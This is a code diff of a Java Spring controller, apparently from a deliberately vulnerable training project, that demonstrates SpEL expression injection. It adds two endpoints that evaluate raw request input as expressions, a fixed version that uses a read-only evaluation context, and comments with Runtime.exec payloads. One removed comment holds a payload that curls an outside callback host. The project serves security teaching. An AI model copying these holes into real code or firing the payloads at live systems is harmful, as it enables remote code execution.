|
1 | 1 | package org.joychou.controller;
|
2 | 2 |
|
| 3 | +import org.springframework.expression.Expression; |
3 | 4 | import org.springframework.expression.ExpressionParser;
|
| 5 | +import org.springframework.expression.common.TemplateParserContext; |
4 | 6 | import org.springframework.expression.spel.standard.SpelExpressionParser;
|
5 |
| -import org.springframework.web.bind.annotation.GetMapping; |
| 7 | +import org.springframework.expression.spel.support.SimpleEvaluationContext; |
| 8 | +import org.springframework.expression.spel.support.StandardEvaluationContext; |
6 | 9 | import org.springframework.web.bind.annotation.RequestMapping;
|
7 | 10 | import org.springframework.web.bind.annotation.RestController;
|
8 | 11 |
|
9 | 12 |
|
10 | 13 | /**
|
11 |
| - * SpEL Injection |
12 |
| - * |
| 14 | + * SpEL Injection. |
13 | 15 | * @author JoyChou @2019-01-17
|
14 | 16 | */
|
15 | 17 | @RestController
|
16 | 18 | public class SpEL {
|
17 | 19 |
|
18 | 20 | /**
|
19 |
| - * SpEL to RCE |
20 |
| - * http://localhost:8080/spel/vul/?expression=xxx. |
21 |
| - * xxx is urlencode(exp) |
22 |
| - * exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io") |
| 21 | + * Use Spel to execute cmd. <p> |
| 22 | + * T(java.lang.Runtime).getRuntime().exec("open -a Calculator") |
23 | 23 | */
|
24 |
| - @GetMapping("/spel/vuln") |
25 |
| - public String rce(String expression) { |
| 24 | + @RequestMapping("/spel/vuln1") |
| 25 | + public String spel_vuln1(String value) { |
26 | 26 | ExpressionParser parser = new SpelExpressionParser();
|
27 |
| - // fix method: SimpleEvaluationContext |
28 |
| - return parser.parseExpression(expression).getValue().toString(); |
| 27 | + return parser.parseExpression(value).getValue().toString(); |
| 28 | + } |
| 29 | + |
| 30 | + /** |
| 31 | + * Use Spel to execute cmd. <p> |
| 32 | + * #{T(java.lang.Runtime).getRuntime().exec('open -a Calculator')} |
| 33 | + * Exploit must add <code>#{}</code> if using TemplateParserContext. |
| 34 | + */ |
| 35 | + @RequestMapping("spel/vuln2") |
| 36 | + public String spel_vuln2(String value) { |
| 37 | + StandardEvaluationContext context = new StandardEvaluationContext(); |
| 38 | + SpelExpressionParser parser = new SpelExpressionParser(); |
| 39 | + Expression expression = parser.parseExpression(value, new TemplateParserContext()); |
| 40 | + Object x = expression.getValue(context); // trigger vulnerability point |
| 41 | + return x.toString(); // response |
| 42 | + } |
| 43 | + |
| 44 | + /** |
| 45 | + * Use SimpleEvaluationContext to fix. |
| 46 | + */ |
| 47 | + @RequestMapping("spel/sec") |
| 48 | + public String spel_sec(String value) { |
| 49 | + SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build(); |
| 50 | + SpelExpressionParser parser = new SpelExpressionParser(); |
| 51 | + Expression expression = parser.parseExpression(value, new TemplateParserContext()); |
| 52 | + Object x = expression.getValue(context); |
| 53 | + return x.toString(); |
29 | 54 | }
|
30 | 55 |
|
31 | 56 | public static void main(String[] args) {
|
32 | 57 | ExpressionParser parser = new SpelExpressionParser();
|
33 |
| - String expression = "T(java.lang.Runtime).getRuntime().exec(\"open -a Calculator\")"; |
| 58 | + String expression = "1+1"; |
34 | 59 | String result = parser.parseExpression(expression).getValue().toString();
|
35 | 60 | System.out.println(result);
|
36 | 61 | }
|
| 62 | + |
37 | 63 | }
|
38 | 64 |
|
0 commit comments